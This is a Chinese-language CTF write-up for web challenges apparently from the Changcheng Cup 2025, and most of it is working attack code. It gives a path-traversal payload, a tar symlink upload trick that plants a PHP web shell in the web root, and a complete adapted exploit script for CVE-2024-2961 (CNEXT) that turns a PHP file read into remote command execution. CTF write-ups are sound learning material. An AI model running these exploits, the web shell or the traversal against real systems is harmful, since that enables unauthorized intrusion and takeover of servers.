水篇长城杯2025
文曲签学
如今的AI学习机早已是学生手中的智能标配——高清触控屏轻划即加载名师课程,AI算法能精准定制专属学习计划,海量学习资源随查随用,便捷得如同“口袋里的智能老师”。可回溯父辈的学生时代,他们的“学习神器”却是另一番模样:那台小小的文曲星,单色屏幕上跳动着单词释义,物理按键按下去会发出清脆的“咔嗒” 声,查单词、算习题,甚至课间偷偷玩会儿《英雄坛说》,全靠这台“随身知识库”撑起学习与消遣的时光。
现在,春秋GAME伽玛实验室团队复刻了文曲星的经典界面——熟悉的按键排布、带着颗粒感的复古显示风格里,藏着待你挖掘的关键线索。不妨像当年父辈捧着文曲星钻研知识点那样,静下心拆解界面细节,从这些时光留下的印记里,找到破解谜题的密钥。
目录穿越
read ....//....//....//....//flag
EZ_upload
CISCN2023出过这种类型的利用软链接
<?php
highlight_file(__FILE__);
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$filename = basename($file['name']);
$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);
if (empty($filename)) {
echo '文件名不符合要求。';
return;
}
$destination = $uploadDirectory . $filename;
if (move_uploaded_file($file['tmp_name'], $destination)) {
exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
echo $destination;
} else {
echo '文件移动失败。';
}
}
handleFileUpload($_FILES['file']);
?>
ln -s /var/www/html www
tar -cvf t1.tar www
rm www
mkdir www
cd www
┌──(root㉿kali-plus)-[/tmp/www]
└─# vim 1.php
┌──(root㉿kali-plus)-[/tmp/www]
└─# ls
1.php
cat www/1.php
<?php
echo exec($_POST['c']);
?>
tar -cvf t2.tar www/1.php
先上传t1.tar 再上传t2.tar
SeRce
CVE-2024-2961
https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
直接使用现成的脚本改吧一下就行
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# ADAPTATION: Remote class modified to fit the new challenge:
# - POST field name is `filetoread`
# - GET param `exp` must be present and satisfy
# serialize(unserialize($exp)) != $exp
# Additional modification: capture command output to /dev/shm/cnext_out (fallback /tmp)
# and fetch it back to print locally.
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, run:
# python3 cc.py <target_url> "<command>" [sleep_time] [heap] [pad]
#
# Example:
# python3 cc.py http://127.0.0.1/vuln.php "id" 1
#
from __future__ import annotations
import base64 as _base64
import zlib
import re
import time
from dataclasses import dataclass
from pathlib import Path
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
# Default remote output path (in-memory filesystem preferred)
DEFAULT_OUT_PATH = "/dev/shm/cnext_out"
FALLBACK_OUT_PATH = "/tmp/cnext_out"
class Remote:
"""A helper class to send the payload and download files.
Adapted for the new target that expects:
- GET parameter `exp` to be present and satisfy
serialize(unserialize($exp)) != $exp
- POST parameter name is `filetoread`
Usage:
Remote(url, exp_value="0")
By default exp_value="0" because unserialize("0") -> false and serialize(false) -> 'b:0;'
which differs from "0" and thus triggers the conditional in the provided PHP.
"""
def __init__(self, url: str, exp_value: str = "0") -> None:
self.url = url
self.session = Session()
self.exp_value = exp_value
def send(self, path: str):
"""Sends given `path` to the HTTP server. Returns the response object.
Sends POST with field 'filetoread' and includes ?exp=<exp_value> in the URL.
"""
return self.session.post(self.url, params={"exp": self.exp_value}, data={"filetoread": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
The target echoes 'File Contents: <data>' so we extract that.
We use php://filter/convert.base64-encode/resource=... to safely transfer binary.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
if response is None:
raise ConnectionError("No response from target")
# Match the label printed by the PHP: "File Contents: <base64>"
m = re.search(b"File Contents: (.*)", response.content, flags=re.S)
if not m:
# More forgiving match (case-insensitive)
m = re.search(b"[Ff]ile [Cc]ontents: (.*)", response.content, flags=re.S)
if not m:
# Last-resort: attempt to find the longest base64-like chunk in the response
# This helps when warnings/HTML are present
cand = re.findall(b"[A-Za-z0-9+/=\\r\\n]{40,}", response.content)
if cand:
# pick the longest candidate
data = max(cand, key=len)
else:
raise ValueError(
"Unexpected response format; couldn't find 'File Contents:' or base64 block.\n"
f"Response ({len(response.content)} bytes):\n{response.content[:800]!r}"
)
else:
data = m.group(1).strip()
# base64 decode (allow newlines)
try:
return _base64.b64decode(data)
except Exception as e:
raise ValueError(f"Base64 decode failed: {e}\nCaptured data (truncated): {data[:400]!r}")
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
# NOTE: pass exp_value here if you want a different trigger (e.g., exp_value="x")
self.remote = Remote(self.url, exp_value="0")
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result
text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str, retries: int = 5, delay: float = 1.0) -> bytes:
"""
Download a remote file without using pwntools' live display (msg_status),
retrying a few times because the remote command may take a moment to create it.
"""
last_exc = None
for attempt in range(1, retries + 1):
try:
data = self.remote.download(path)
return data
except Exception as e:
last_exc = e
if attempt < retries:
time.sleep(delay)
else:
raise
def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write_bytes(data)
def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()
def build_exploit_path(self) -> str:
"""Build the php://filter path that encodes the exploit pages as required."""
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
# -----------------------------
# Modified COMMAND construction:
# build a command that writes stdout+stderr to an output file so we can fetch it later
# -----------------------------
COMMAND = self.command.strip()
# choose preferred remote output path; fallback if needed
out_path = DEFAULT_OUT_PATH
# Build a shell wrapper that optionally sleeps, then runs the command and redirects output.
shell_cmd = "sh -c '"
if self.sleep:
shell_cmd += f"sleep {self.sleep}; "
shell_cmd += f"{COMMAND} > {out_path} 2>&1'"
COMMAND = shell_cmd.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
try:
# send exploit payload; remote may drop connection when exploit triggers
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass
# Wait for the remote command to execute and write output.
wait_seconds = max(1, int(self.sleep or 1) + 2)
print(f"[+] waiting {wait_seconds}s for remote command to run and produce output...")
time.sleep(wait_seconds)
# Try multiple times to read the output file. This helps if the command is slightly delayed.
out_path = DEFAULT_OUT_PATH
tried = 0
max_tries = 6
while tried < max_tries:
tried += 1
try:
output = self.get_file(out_path, retries=2, delay=1.0)
if output:
print("\n--- Command output (preferred path: {}) ---\n".format(out_path))
try:
print(output.decode(errors="replace"))
except Exception:
print(repr(output))
print("\n--- End of output ---\n")
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] (output printed above)")
return
else:
# empty file — maybe command failed to write or truncated; wait and retry
time.sleep(1)
except Exception:
# On first failure, try fallback path (/tmp)
if tried == 1:
print("[!] couldn't read preferred output path; trying fallback /tmp path next...")
out_path = FALLBACK_OUT_PATH
time.sleep(1)
continue
if tried < max_tries:
time.sleep(1)
continue
# final failure: print debug info
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/] (couldn't read output file)")
try:
# helpful debug: attempt to read /proc/self/maps
maps = self.get_file("/proc/self/maps", retries=1)
print(f"[debug] /proc/self/maps (truncated):\n{maps.decode(errors='replace')[:400]}")
except Exception as ee:
print(f"[debug] Also could not read /proc/self/maps: {ee!r}")
return
# If loop exits without return
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/] (no output after retries)")
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`."""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = _base64.b64encode(data)
if not misalign and payload.endswith(b"="):
raise ValueError(f"Misaligned: {data}")
return payload
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode."""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()